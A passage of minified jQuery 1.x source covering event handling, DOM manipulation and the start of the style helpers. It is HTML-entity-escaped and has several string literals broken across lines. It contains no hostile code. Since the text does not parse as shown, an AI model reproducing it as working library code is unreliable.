while (h--) f = ab.exec(b[h]) || [], o = q = f[1], p = (f[2] || &quot;&quot;).split(&quot;.&quot;).sort(), o &amp;&amp; (j = n.event.special[o] || {}, o = (e ? j.delegateType : j.bindType) || o, j = n.event.special[o] || {}, l = n.extend({
type: o,
origType: q,
data: d,
handler: c,
guid: c.guid,
selector: e,
needsContext: e &amp;&amp; n.expr.match.needsContext.test(e),
namespace: p.join(&quot;.&quot;)
}, i), (m = g[o]) || (m = g[o] = [], m.delegateCount = 0, j.setup &amp;&amp; j.setup.call(a, d, p, k) !== !1 || (a.addEventListener ? a.addEventListener(o, k, !1) : a.attachEvent &amp;&amp; a.attachEvent(&quot;on&quot; + o, k))), j.add &amp;&amp; (j.add.call(a, l), l.handler.guid || (l.handler.guid = c.guid)), e ? m.splice(m.delegateCount++, 0, l) : m.push(l), n.event.global[o] = !0);
a = null
}
},
remove: function(a, b, c, d, e) {
var f, g, h, i, j, k, l, m, o, p, q, r = n.hasData(a) &amp;&amp; n._data(a);
if (r &amp;&amp; (k = r.events)) {
b = (b || &quot;&quot;).match(F) || [&quot;&quot;], j = b.length;
while (j--)
if (h = ab.exec(b[j]) || [], o = q = h[1], p = (h[2] || &quot;&quot;).split(&quot;.&quot;).sort(), o) {
l = n.event.special[o] || {}, o = (d ? l.delegateType : l.bindType) || o, m = k[o] || [], h = h[2] &amp;&amp; new RegExp(&quot;(^|\\.)&quot; + p.join(&quot;\\.(?:.*\\.|)&quot;) + &quot;(\\.|$)&quot;), i = f = m.length;
while (f--) g = m[f], !e &amp;&amp; q !== g.origType || c &amp;&amp; c.guid !== g.guid || h &amp;&amp; !h.test(g.namespace) || d &amp;&amp; d !== g.selector &amp;&amp; (&quot;**&quot; !== d || !g.selector) || (m.splice(f, 1), g.selector &amp;&amp; m.delegateCount--, l.remove &amp;&amp; l.remove.call(a, g));
i &amp;&amp; !m.length &amp;&amp; (l.teardown &amp;&amp; l.teardown.call(a, p, r.handle) !== !1 || n.removeEvent(a, o, r.handle), delete k[o])
} else
for (o in k) n.event.remove(a, o + b[j], c, d, !0);
n.isEmptyObject(k) &amp;&amp; (delete r.handle, n._removeData(a, &quot;events&quot;))
}
},
trigger: function(b, c, d, e) {
var f, g, h, i, k, l, m, o = [d || z],
p = j.call(b, &quot;type&quot;) ? b.type : b,
q = j.call(b, &quot;namespace&quot;) ? b.namespace.split(&quot;.&quot;) : [];
if (h = l = d = d || z, 3 !== d.nodeType &amp;&amp; 8 !== d.nodeType &amp;&amp; !_.test(p + n.event.triggered) &amp;&amp; (p.indexOf(&quot;.&quot;) &gt;= 0 &amp;&amp; (q = p.split(&quot;.&quot;), p = q.shift(), q.sort()), g = p.indexOf(&quot;:&quot;) &lt; 0 &amp;&amp; &quot;on&quot; + p, b = b[n.expando] ? b : new n.Event(p, &quot;object&quot; == typeof b &amp;&amp; b), b.isTrigger = e ? 2 : 3, b.namespace = q.join(&quot;.&quot;), b.namespace_re = b.namespace ? new RegExp(&quot;(^|\\.)&quot; + q.join(&quot;\\.(?:.*\\.|)&quot;) + &quot;(\\.|$)&quot;) : null, b.result = void 0, b.target || (b.target = d), c = null == c ? [b] : n.makeArray(c, [b]), k = n.event.special[p] || {}, e || !k.trigger || k.trigger.apply(d, c) !== !1)) {
if (!e &amp;&amp; !k.noBubble &amp;&amp; !n.isWindow(d)) {
for (i = k.delegateType || p, _.test(i + p) || (h = h.parentNode); h; h = h.parentNode) o.push(h), l = h;
l === (d.ownerDocument || z) &amp;&amp; o.push(l.defaultView || l.parentWindow || a)
}
m = 0;
while ((h = o[m++]) &amp;&amp; !b.isPropagationStopped()) b.type = m &gt; 1 ? i : k.bindType || p, f = (n._data(h, &quot;events&quot;) || {})[b.type] &amp;&amp; n._data(h, &quot;handle&quot;), f &amp;&amp; f.apply(h, c), f = g &amp;&amp; h[g], f &amp;&amp; f.apply &amp;&amp; n.acceptData(h) &amp;&amp; (b.result = f.apply(h, c), b.result === !1 &amp;&amp; b.preventDefault());
if (b.type = p, !e &amp;&amp; !b.isDefaultPrevented() &amp;&amp; (!k._default || k._default.apply(o.pop(), c) === !1) &amp;&amp; n.acceptData(d) &amp;&amp; g &amp;&amp; d[p] &amp;&amp; !n.isWindow(d)) {
l = d[g], l &amp;&amp; (d[g] = null), n.event.triggered = p;
try {
d[p]()
} catch (r) {}
n.event.triggered = void 0, l &amp;&amp; (d[g] = l)
}
return b.result
}
},
dispatch: function(a) {
a = n.event.fix(a);
var b, c, e, f, g, h = [],
i = d.call(arguments),
j = (n._data(this, &quot;events&quot;) || {})[a.type] || [],
k = n.event.special[a.type] || {};
if (i[0] = a, a.delegateTarget = this, !k.preDispatch || k.preDispatch.call(this, a) !== !1) {
h = n.event.handlers.call(this, a, j), b = 0;
while ((f = h[b++]) &amp;&amp; !a.isPropagationStopped()) {
a.currentTarget = f.elem, g = 0;
while ((e = f.handlers[g++]) &amp;&amp; !a.isImmediatePropagationStopped())(!a.namespace_re || a.namespace_re.test(e.namespace)) &amp;&amp; (a.handleObj = e, a.data = e.data, c = ((n.event.special[e.origType] || {}).handle || e.handler).apply(f.elem, i), void 0 !== c &amp;&amp; (a.result = c) === !1 &amp;&amp; (a.preventDefault(), a.stopPropagation()))
}
return k.postDispatch &amp;&amp; k.postDispatch.call(this, a), a.result
}
},
handlers: function(a, b) {
var c, d, e, f, g = [],
h = b.delegateCount,
i = a.target;
if (h &amp;&amp; i.nodeType &amp;&amp; (!a.button || &quot;click&quot; !== a.type))
for (; i != this; i = i.parentNode || this)
if (1 === i.nodeType &amp;&amp; (i.disabled !== !0 || &quot;click&quot; !== a.type)) {
for (e = [], f = 0; h &gt; f; f++) d = b[f], c = d.selector + &quot; &quot;, void 0 === e[c] &amp;&amp; (e[c] = d.needsContext ? n(c, this).index(i) &gt;= 0 : n.find(c, this, null, [i]).length), e[c] &amp;&amp; e.push(d);
e.length &amp;&amp; g.push({
elem: i,
handlers: e
})
}
return h &lt; b.length &amp;&amp; g.push({
elem: this,
handlers: b.slice(h)
}), g
},
fix: function(a) {
if (a[n.expando]) return a;
var b, c, d, e = a.type,
f = a,
g = this.fixHooks[e];
g || (this.fixHooks[e] = g = $.test(e) ? this.mouseHooks : Z.test(e) ? this.keyHooks : {}), d = g.props ? this.props.concat(g.props) : this.props, a = new n.Event(f), b = d.length;
while (b--) c = d[b], a[c] = f[c];
return a.target || (a.target = f.srcElement || z), 3 === a.target.nodeType &amp;&amp; (a.target = a.target.parentNode), a.metaKey = !!a.metaKey, g.filter ? g.filter(a, f) : a
},
props: &quot;altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which&quot;.split(&quot; &quot;),
fixHooks: {},
keyHooks: {
props: &quot;char charCode key keyCode&quot;.split(&quot; &quot;),
filter: function(a, b) {
return null == a.which &amp;&amp; (a.which = null != b.charCode ? b.charCode : b.keyCode), a
}
},
mouseHooks: {
props: &quot;button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement&quot;.split(&quot; &quot;),
filter: function(a, b) {
var c, d, e, f = b.button,
g = b.fromElement;
return null == a.pageX &amp;&amp; null != b.clientX &amp;&amp; (d = a.target.ownerDocument || z, e = d.documentElement, c = d.body, a.pageX = b.clientX + (e &amp;&amp; e.scrollLeft || c &amp;&amp; c.scrollLeft || 0) - (e &amp;&amp; e.clientLeft || c &amp;&amp; c.clientLeft || 0), a.pageY = b.clientY + (e &amp;&amp; e.scrollTop || c &amp;&amp; c.scrollTop || 0) - (e &amp;&amp; e.clientTop || c &amp;&amp; c.clientTop || 0)), !a.relatedTarget &amp;&amp; g &amp;&amp; (a.relatedTarget = g === a.target ? b.toElement : g), a.which || void 0 === f || (a.which = 1 &amp; f ? 1 : 2 &amp; f ? 3 : 4 &amp; f ? 2 : 0), a
}
},
special: {
load: {
noBubble: !0
},
focus: {
trigger: function() {
if (this !== db() &amp;&amp; this.focus) try {
return this.focus(), !1
} catch (a) {}
},
delegateType: &quot;focusin&quot;
},
blur: {
trigger: function() {
return this === db() &amp;&amp; this.blur ? (this.blur(), !1) : void 0
},
delegateType: &quot;focusout&quot;
},
click: {
trigger: function() {
return n.nodeName(this, &quot;input&quot;) &amp;&amp; &quot;checkbox&quot; === this.type &amp;&amp; this.click ? (this.click(), !1) : void 0
},
_default: function(a) {
return n.nodeName(a.target, &quot;a&quot;)
}
},
beforeunload: {
postDispatch: function(a) {
void 0 !== a.result &amp;&amp; (a.originalEvent.returnValue = a.result)
}
}
},
simulate: function(a, b, c, d) {
var e = n.extend(new n.Event, c, {
type: a,
isSimulated: !0,
originalEvent: {}
});
d ? n.event.trigger(e, null, b) : n.event.dispatch.call(b, e), e.isDefaultPrevented() &amp;&amp; c.preventDefault()
}
}, n.removeEvent = z.removeEventListener ? function(a, b, c) {
a.removeEventListener &amp;&amp; a.removeEventListener(b, c, !1)
} : function(a, b, c) {
var d = &quot;on&quot; + b;
a.detachEvent &amp;&amp; (typeof a[d] === L &amp;&amp; (a[d] = null), a.detachEvent(d, c))
}, n.Event = function(a, b) {
return this instanceof n.Event ? (a &amp;&amp; a.type ? (this.originalEvent = a, this.type = a.type, this.isDefaultPrevented = a.defaultPrevented || void 0 === a.defaultPrevented &amp;&amp; (a.returnValue === !1 || a.getPreventDefault &amp;&amp; a.getPreventDefault()) ? bb : cb) : this.type = a, b &amp;&amp; n.extend(this, b), this.timeStamp = a &amp;&amp; a.timeStamp || n.now(), void(this[n.expando] = !0)) : new n.Event(a, b)
}, n.Event.prototype = {
isDefaultPrevented: cb,
isPropagationStopped: cb,
isImmediatePropagationStopped: cb,
preventDefault: function() {
var a = this.originalEvent;
this.isDefaultPrevented = bb, a &amp;&amp; (a.preventDefault ? a.preventDefault() : a.returnValue = !1)
},
stopPropagation: function() {
var a = this.originalEvent;
this.isPropagationStopped = bb, a &amp;&amp; (a.stopPropagation &amp;&amp; a.stopPropagation(), a.cancelBubble = !0)
},
stopImmediatePropagation: function() {
this.isImmediatePropagationStopped = bb, this.stopPropagation()
}
}, n.each({
mouseenter: &quot;mouseover&quot;,
mouseleave: &quot;mouseout&quot;
}, function(a, b) {
n.event.special[a] = {
delegateType: b,
bindType: b,
handle: function(a) {
var c, d = this,
e = a.relatedTarget,
f = a.handleObj;
return (!e || e !== d &amp;&amp; !n.contains(d, e)) &amp;&amp; (a.type = f.origType, c = f.handler.apply(this, arguments), a.type = b), c
}
}
}), l.submitBubbles || (n.event.special.submit = {
setup: function() {
return n.nodeName(this, &quot;form&quot;) ? !1 : void n.event.add(this, &quot;click._submit keypress._submit&quot;, function(a) {
var b = a.target,
c = n.nodeName(b, &quot;input&quot;) || n.nodeName(b, &quot;button&quot;) ? b.form : void 0;
c &amp;&amp; !n._data(c, &quot;submitBubbles&quot;) &amp;&amp; (n.event.add(c, &quot;submit._submit&quot;, function(a) {
a._submit_bubble = !0
}), n._data(c, &quot;submitBubbles&quot;, !0))
})
},
postDispatch: function(a) {
a._submit_bubble &amp;&amp; (delete a._submit_bubble, this.parentNode &amp;&amp; !a.isTrigger &amp;&amp; n.event.simulate(&quot;submit&quot;, this.parentNode, a, !0))
},
teardown: function() {
return n.nodeName(this, &quot;form&quot;) ? !1 : void n.event.remove(this, &quot;._submit&quot;)
}
}), l.changeBubbles || (n.event.special.change = {
setup: function() {
return Y.test(this.nodeName) ? ((&quot;checkbox&quot; === this.type || &quot;radio&quot; === this.type) &amp;&amp; (n.event.add(this, &quot;propertychange._change&quot;, function(a) {
&quot;checked&quot; === a.originalEvent.propertyName &amp;&amp; (this._just_changed = !0)
}), n.event.add(this, &quot;click._change&quot;, function(a) {
this._just_changed &amp;&amp; !a.isTrigger &amp;&amp; (this._just_changed = !1), n.event.simulate(&quot;change&quot;, this, a, !0)
})), !1) : void n.event.add(this, &quot;beforeactivate._change&quot;, function(a) {
var b = a.target;
Y.test(b.nodeName) &amp;&amp; !n._data(b, &quot;changeBubbles&quot;) &amp;&amp; (n.event.add(b, &quot;change._change&quot;, function(a) {
!this.parentNode || a.isSimulated || a.isTrigger || n.event.simulate(&quot;change&quot;, this.parentNode, a, !0)
}), n._data(b, &quot;changeBubbles&quot;, !0))
})
},
handle: function(a) {
var b = a.target;
return this !== b || a.isSimulated || a.isTrigger || &quot;radio&quot; !== b.type &amp;&amp; &quot;checkbox&quot; !== b.type ? a.handleObj.handler.apply(this, arguments) : void 0
},
teardown: function() {
return n.event.remove(this, &quot;._change&quot;), !Y.test(this.nodeName)
}
}), l.focusinBubbles || n.each({
focus: &quot;focusin&quot;,
blur: &quot;focusout&quot;
}, function(a, b) {
var c = function(a) {
n.event.simulate(b, a.target, n.event.fix(a), !0)
};
n.event.special[b] = {
setup: function() {
var d = this.ownerDocument || this,
e = n._data(d, b);
e || d.addEventListener(a, c, !0), n._data(d, b, (e || 0) + 1)
},
teardown: function() {
var d = this.ownerDocument || this,
e = n._data(d, b) - 1;
e ? n._data(d, b, e) : (d.removeEventListener(a, c, !0), n._removeData(d, b))
}
}
}), n.fn.extend({
on: function(a, b, c, d, e) {
var f, g;
if (&quot;object&quot; == typeof a) {
&quot;string&quot; != typeof b &amp;&amp; (c = c || b, b = void 0);
for (f in a) this.on(f, b, c, a[f], e);
return this
}
if (null == c &amp;&amp; null == d ? (d = b, c = b = void 0) : null == d &amp;&amp; (&quot;string&quot; == typeof b ? (d = c, c = void 0) : (d = c, c = b, b = void 0)), d === !1) d = cb;
else if (!d) return this;
return 1 === e &amp;&amp; (g = d, d = function(a) {
return n().off(a), g.apply(this, arguments)
}, d.guid = g.guid || (g.guid = n.guid++)), this.each(function() {
n.event.add(this, a, d, c, b)
})
},
one: function(a, b, c, d) {
return this.on(a, b, c, d, 1)
},
off: function(a, b, c) {
var d, e;
if (a &amp;&amp; a.preventDefault &amp;&amp; a.handleObj) return d = a.handleObj, n(a.delegateTarget).off(d.namespace ? d.origType + &quot;.&quot; + d.namespace : d.origType, d.selector, d.handler), this;
if (&quot;object&quot; == typeof a) {
for (e in a) this.off(e, b, a[e]);
return this
}
return (b === !1 || &quot;function&quot; == typeof b) &amp;&amp; (c = b, b = void 0), c === !1 &amp;&amp; (c = cb), this.each(function() {
n.event.remove(this, a, c, b)
})
},
trigger: function(a, b) {
return this.each(function() {
n.event.trigger(a, b, this)
})
},
triggerHandler: function(a, b) {
var c = this[0];
return c ? n.event.trigger(a, b, c, !0) : void 0
}
});

function eb(a) {
var b = ba.split(&quot;|&quot;),
c = a.createDocumentFragment();
if (c.createElement)
while (b.length) c.createElement(b.pop());
return c
}
var ba = &quot;abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video&quot;,
gb = / jQuery\d+=&quot;(?:null|\d+)&quot;/g,
hb = new RegExp(&quot;&lt;(?:&quot; + ba + &quot;)[\\s/&gt;]&quot;, &quot;i&quot;),
ib = /^\s+/,
jb = /&lt;(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^&gt;]*)\/&gt;/gi,
kb = /&lt;([\w:]+)/,
lb = /&lt;tbody/i,
mb = /&lt;|&amp;#?\w+;/,
nb = /&lt;(?:script|style|link)/i,
ob = /checked\s*(?:[^=]|=\s*.checked.)/i,
pb = /^$|\/(?:java|ecma)script/i,
qb = /^true\/(.*)/,
rb = /^\s*&lt;!(?:\[CDATA\[|--)|(?:\]\]|--)&gt;\s*$/g,
sb = {
option: [1, &quot;&lt;select multiple='multiple'&gt;&quot;, &quot;
&lt;/select&gt;&quot;],
legend: [1, &quot;
&lt;fieldset&gt;&quot;, &quot;&lt;/fieldset&gt;
&quot;],
area: [1, &quot;&lt;map&gt;&quot;, &quot;&lt;/map&gt;&quot;],
param: [1, &quot;&lt;object&gt;&quot;, &quot;&lt;/object&gt;&quot;],
thead: [1, &quot;
&lt;table&gt;&quot;, &quot;&lt;/table&gt;
&quot;],
tr: [2, &quot;
&lt;table&gt;
&lt;tbody&gt;&quot;, &quot;&lt;/tbody&gt;
&lt;/table&gt;
&quot;],
col: [2, &quot;
&lt;table&gt;
&lt;tbody&gt;&lt;/tbody&gt;
&lt;colgroup&gt;&quot;, &quot;&lt;/colgroup&gt;&lt;/table&gt;
&quot;],
td: [3, &quot;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;&quot;, &quot;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&quot;],
_default: l.htmlSerialize ? [0, &quot;&quot;, &quot;&quot;] : [1, &quot;X
&lt;div&gt;&quot;, &quot;&lt;/div&gt;
&quot;]
},
tb = eb(z),
ub = tb.appendChild(z.createElement(&quot;div&quot;));
sb.optgroup = sb.option, sb.tbody = sb.tfoot = sb.colgroup = sb.caption = sb.thead, sb.th = sb.td;

function vb(a, b) {
var c, d, e = 0,
f = typeof a.getElementsByTagName !== L ? a.getElementsByTagName(b || &quot;*&quot;) : typeof a.querySelectorAll !== L ? a.querySelectorAll(b || &quot;*&quot;) : void 0;
if (!f)
for (f = [], c = a.childNodes || a; null != (d = c[e]); e++) !b || n.nodeName(d, b) ? f.push(d) : n.merge(f, vb(d, b));
return void 0 === b || b &amp;&amp; n.nodeName(a, b) ? n.merge([a], f) : f
}

function wb(a) {
X.test(a.type) &amp;&amp; (a.defaultChecked = a.checked)
}

function xb(a, b) {
return n.nodeName(a, &quot;table&quot;) &amp;&amp; n.nodeName(11 !== b.nodeType ? b : b.firstChild, &quot;tr&quot;) ? a.getElementsByTagName(&quot;tbody&quot;)[0] || a.appendChild(a.ownerDocument.createElement(&quot;tbody&quot;)) : a
}

function yb(a) {
return a.type = (null !== n.find.attr(a, &quot;type&quot;)) + &quot;/&quot; + a.type, a
}

function zb(a) {
var b = qb.exec(a.type);
return b ? a.type = b[1] : a.removeAttribute(&quot;type&quot;), a
}

function Ab(a, b) {
for (var c, d = 0; null != (c = a[d]); d++) n._data(c, &quot;globalEval&quot;, !b || n._data(b[d], &quot;globalEval&quot;))
}

function Bb(a, b) {
if (1 === b.nodeType &amp;&amp; n.hasData(a)) {
var c, d, e, f = n._data(a),
g = n._data(b, f),
h = f.events;
if (h) {
delete g.handle, g.events = {};
for (c in h)
for (d = 0, e = h[c].length; e &gt; d; d++) n.event.add(b, c, h[c][d])
}
g.data &amp;&amp; (g.data = n.extend({}, g.data))
}
}

function Cb(a, b) {
var c, d, e;
if (1 === b.nodeType) {
if (c = b.nodeName.toLowerCase(), !l.noCloneEvent &amp;&amp; b[n.expando]) {
e = n._data(b);
for (d in e.events) n.removeEvent(b, d, e.handle);
b.removeAttribute(n.expando)
}
&quot;script&quot; === c &amp;&amp; b.text !== a.text ? (yb(b).text = a.text, zb(b)) : &quot;object&quot; === c ? (b.parentNode &amp;&amp; (b.outerHTML = a.outerHTML), l.html5Clone &amp;&amp; a.innerHTML &amp;&amp; !n.trim(b.innerHTML) &amp;&amp; (b.innerHTML = a.innerHTML)) : &quot;input&quot; === c &amp;&amp; X.test(a.type) ? (b.defaultChecked = b.checked = a.checked, b.value !== a.value &amp;&amp; (b.value = a.value)) : &quot;option&quot; === c ? b.defaultSelected = b.selected = a.defaultSelected : (&quot;input&quot; === c || &quot;textarea&quot; === c) &amp;&amp; (b.defaultValue = a.defaultValue)
}
}
n.extend({
clone: function(a, b, c) {
var d, e, f, g, h, i = n.contains(a.ownerDocument, a);
if (l.html5Clone || n.isXMLDoc(a) || !hb.test(&quot;&lt;&quot; + a.nodeName + &quot;&gt;&quot;) ? f = a.cloneNode(!0) : (ub.innerHTML = a.outerHTML, ub.removeChild(f = ub.firstChild)), !(l.noCloneEvent &amp;&amp; l.noCloneChecked || 1 !== a.nodeType &amp;&amp; 11 !== a.nodeType || n.isXMLDoc(a)))
for (d = vb(f), h = vb(a), g = 0; null != (e = h[g]); ++g) d[g] &amp;&amp; Cb(e, d[g]);
if (b)
if (c)
for (h = h || vb(a), d = d || vb(f), g = 0; null != (e = h[g]); g++) Bb(e, d[g]);
else Bb(a, f);
return d = vb(f, &quot;script&quot;), d.length &gt; 0 &amp;&amp; Ab(d, !i &amp;&amp; vb(a, &quot;script&quot;)), d = h = e = null, f
},
buildFragment: function(a, b, c, d) {
for (var e, f, g, h, i, j, k, m = a.length, o = eb(b), p = [], q = 0; m &gt; q; q++)
if (f = a[q], f || 0 === f)
if (&quot;object&quot; === n.type(f)) n.merge(p, f.nodeType ? [f] : f);
else if (mb.test(f)) {
h = h || o.appendChild(b.createElement(&quot;div&quot;)), i = (kb.exec(f) || [&quot;&quot;, &quot;&quot;])[1].toLowerCase(), k = sb[i] || sb._default, h.innerHTML = k[1] + f.replace(jb, &quot;&lt;$1&gt;&lt;/$2&gt;&quot;) + k[2], e = k[0];
while (e--) h = h.lastChild;
if (!l.leadingWhitespace &amp;&amp; ib.test(f) &amp;&amp; p.push(b.createTextNode(ib.exec(f)[0])), !l.tbody) {
f = &quot;table&quot; !== i || lb.test(f) ? &quot;
&lt;table&gt;&quot; !== k[1] || lb.test(f) ? 0 : h : h.firstChild, e = f &amp;&amp; f.childNodes.length;
while (e--) n.nodeName(j = f.childNodes[e], &quot;tbody&quot;) &amp;&amp; !j.childNodes.length &amp;&amp; f.removeChild(j)
}
n.merge(p, h.childNodes), h.textContent = &quot;&quot;;
while (h.firstChild) h.removeChild(h.firstChild);
h = o.lastChild
} else p.push(b.createTextNode(f));
h &amp;&amp; o.removeChild(h), l.appendChecked || n.grep(vb(p, &quot;input&quot;), wb), q = 0;
while (f = p[q++])
if ((!d || -1 === n.inArray(f, d)) &amp;&amp; (g = n.contains(f.ownerDocument, f), h = vb(o.appendChild(f), &quot;script&quot;), g &amp;&amp; Ab(h), c)) {
e = 0;
while (f = h[e++]) pb.test(f.type || &quot;&quot;) &amp;&amp; c.push(f)
}
return h = null, o
},
cleanData: function(a, b) {
for (var d, e, f, g, h = 0, i = n.expando, j = n.cache, k = l.deleteExpando, m = n.event.special; null != (d = a[h]); h++)
if ((b || n.acceptData(d)) &amp;&amp; (f = d[i], g = f &amp;&amp; j[f])) {
if (g.events)
for (e in g.events) m[e] ? n.event.remove(d, e) : n.removeEvent(d, e, g.handle);
j[f] &amp;&amp; (delete j[f], k ? delete d[i] : typeof d.removeAttribute !== L ? d.removeAttribute(i) : d[i] = null, c.push(f))
}
}
}), n.fn.extend({
text: function(a) {
return W(this, function(a) {
return void 0 === a ? n.text(this) : this.empty().append((this[0] &amp;&amp; this[0].ownerDocument || z).createTextNode(a))
}, null, a, arguments.length)
},
append: function() {
return this.domManip(arguments, function(a) {
if (1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType) {
var b = xb(this, a);
b.appendChild(a)
}
})
},
prepend: function() {
return this.domManip(arguments, function(a) {
if (1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType) {
var b = xb(this, a);
b.insertBefore(a, b.firstChild)
}
})
},
before: function() {
return this.domManip(arguments, function(a) {
this.parentNode &amp;&amp; this.parentNode.insertBefore(a, this)
})
},
after: function() {
return this.domManip(arguments, function(a) {
this.parentNode &amp;&amp; this.parentNode.insertBefore(a, this.nextSibling)
})
},
remove: function(a, b) {
for (var c, d = a ? n.filter(a, this) : this, e = 0; null != (c = d[e]); e++) b || 1 !== c.nodeType || n.cleanData(vb(c)), c.parentNode &amp;&amp; (b &amp;&amp; n.contains(c.ownerDocument, c) &amp;&amp; Ab(vb(c, &quot;script&quot;)), c.parentNode.removeChild(c));
return this
},
empty: function() {
for (var a, b = 0; null != (a = this[b]); b++) {
1 === a.nodeType &amp;&amp; n.cleanData(vb(a, !1));
while (a.firstChild) a.removeChild(a.firstChild);
a.options &amp;&amp; n.nodeName(a, &quot;select&quot;) &amp;&amp; (a.options.length = 0)
}
return this
},
clone: function(a, b) {
return a = null == a ? !1 : a, b = null == b ? a : b, this.map(function() {
return n.clone(this, a, b)
})
},
html: function(a) {
return W(this, function(a) {
var b = this[0] || {},
c = 0,
d = this.length;
if (void 0 === a) return 1 === b.nodeType ? b.innerHTML.replace(gb, &quot;&quot;) : void 0;
if (!(&quot;string&quot; != typeof a || nb.test(a) || !l.htmlSerialize &amp;&amp; hb.test(a) || !l.leadingWhitespace &amp;&amp; ib.test(a) || sb[(kb.exec(a) || [&quot;&quot;, &quot;&quot;])[1].toLowerCase()])) {
a = a.replace(jb, &quot;&lt;$1&gt;&lt;/$2&gt;&quot;);
try {
for (; d &gt; c; c++) b = this[c] || {}, 1 === b.nodeType &amp;&amp; (n.cleanData(vb(b, !1)), b.innerHTML = a);
b = 0
} catch (e) {}
}
b &amp;&amp; this.empty().append(a)
}, null, a, arguments.length)
},
replaceWith: function() {
var a = arguments[0];
return this.domManip(arguments, function(b) {
a = this.parentNode, n.cleanData(vb(this)), a &amp;&amp; a.replaceChild(b, this)
}), a &amp;&amp; (a.length || a.nodeType) ? this : this.remove()
},
detach: function(a) {
return this.remove(a, !0)
},
domManip: function(a, b) {
a = e.apply([], a);
var c, d, f, g, h, i, j = 0,
k = this.length,
m = this,
o = k - 1,
p = a[0],
q = n.isFunction(p);
if (q || k &gt; 1 &amp;&amp; &quot;string&quot; == typeof p &amp;&amp; !l.checkClone &amp;&amp; ob.test(p)) return this.each(function(c) {
var d = m.eq(c);
q &amp;&amp; (a[0] = p.call(this, c, d.html())), d.domManip(a, b)
});
if (k &amp;&amp; (i = n.buildFragment(a, this[0].ownerDocument, !1, this), c = i.firstChild, 1 === i.childNodes.length &amp;&amp; (i = c), c)) {
for (g = n.map(vb(i, &quot;script&quot;), yb), f = g.length; k &gt; j; j++) d = i, j !== o &amp;&amp; (d = n.clone(d, !0, !0), f &amp;&amp; n.merge(g, vb(d, &quot;script&quot;))), b.call(this[j], d, j);
if (f)
for (h = g[g.length - 1].ownerDocument, n.map(g, zb), j = 0; f &gt; j; j++) d = g[j], pb.test(d.type || &quot;&quot;) &amp;&amp; !n._data(d, &quot;globalEval&quot;) &amp;&amp; n.contains(h, d) &amp;&amp; (d.src ? n._evalUrl &amp;&amp; n._evalUrl(d.src) : n.globalEval((d.text || d.textContent || d.innerHTML || &quot;&quot;).replace(rb, &quot;&quot;)));
i = c = null
}
return this
}
}), n.each({
appendTo: &quot;append&quot;,
prependTo: &quot;prepend&quot;,
insertBefore: &quot;before&quot;,
insertAfter: &quot;after&quot;,
replaceAll: &quot;replaceWith&quot;
}, function(a, b) {
n.fn[a] = function(a) {
for (var c, d = 0, e = [], g = n(a), h = g.length - 1; h &gt;= d; d++) c = d === h ? this : this.clone(!0), n(g[d])[b](c), f.apply(e, c.get());
return this.pushStack(e)
}
});
var be, Eb = {};

function Fb(b, c) {
var d = n(c.createElement(b)).appendTo(c.body),
e = a.getDefaultComputedStyle ? a.getDefaultComputedStyle(d[0]).display : n.css(d[0], &quot;display&quot;);
return d.detach(), e
}

function Gb(a) {
var b = z,
c = Eb[a];
return c || (c = Fb(a, b), &quot;none&quot; !== c &amp;&amp; c || (be = (be || n(&quot;&lt;iframe frameborder='0' width='0' height='0'/&gt;&quot;)).appendTo(b.documentElement), b = (be[0].contentWindow || be[0].contentDocument).document, b.write(), b.close(), c = Fb(a, b), be.detach()), Eb[a] = c), c
}! function() {
var a, b, c = z.createElement(&quot;div&quot;),
d = &quot;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;padding:0;margin:0;border:0&quot;;
c.innerHTML = &quot; 	&lt;link/&gt;
&lt;table&gt;&lt;/table&gt;
&lt;a href='/a'&gt;a&lt;/a&gt;&lt;input type='checkbox'/&gt;&quot;, a = c.getElementsByTagName(&quot;a&quot;)[0], a.style.cssText = &quot;float:left;opacity:.5&quot;, l.opacity = /^0.5/.test(a.style.opacity), l.cssFloat = !!a.style.cssFloat, c.style.backgroundClip = &quot;content-box&quot;, c.cloneNode(!0).style.backgroundClip = &quot;&quot;, l.clearCloneStyle = &quot;content-box&quot; === c.style.backgroundClip, a = c = null, l.shrinkWrapBlocks = function() {
var a, c, e, f;
if (null == b) {
if (a = z.getElementsByTagName(&quot;body&quot;)[0], !a) return;
f = &quot;border:0;width:0;height:0;position:absolute;top:0;left:-9999px&quot;, c = z.createElement(&quot;div&quot;), e = z.createElement(&quot;div&quot;), a.appendChild(c).appendChild(e), b = !1, typeof e.style.zoom !== L &amp;&amp; (e.style.cssText = d + &quot;;width:1px;padding:1px;zoom:1&quot;, e.innerHTML = &quot;
&lt;div&gt;&lt;/div&gt;
&quot;, e.firstChild.style.width = &quot;5px&quot;, b = 3 !== e.offsetWidth), a.removeChild(c), a = c = e = null
}
return b
}
}();
var bf = /^margin/,
Ib = new RegExp(&quot;^(&quot; + T + &quot;)(?!px)[a-z%]+$&quot;, &quot;i&quot;),
Jb, Kb, Lb = /^(top|right|bottom|left)$/;
a.getComputedStyle ? (Jb = function(a) {
return a.ownerDocument.defaultView.getComputedStyle(a, null)
}, Kb = function(a, b, c) {
var d, e, f, g, h = a.style;
return c = c || Jb(a), g = c ? c.getPropertyValue(b) || c[b] : void 0, c &amp;&amp; (&quot;&quot; !== g || n.contains(a.ownerDocument, a) || (g = n.style(a, b)), Ib.test(g) &amp;&amp; bf.test(b) &amp;&amp; (d = h.width, e = h.minWidth, f = h.maxWidth, h.minWidth = h.maxWidth = h.width = g, g = c.width, h.width = d, h.minWidth = e, h.maxWidth = f)), void 0 === g ? g : g + &quot;&quot;
}) : z.documentElement.currentStyle &amp;&amp; (Jb = function(a) {
return a.currentStyle
}, Kb = function(a, b, c) {
var d, e, f, g, h = a.style;
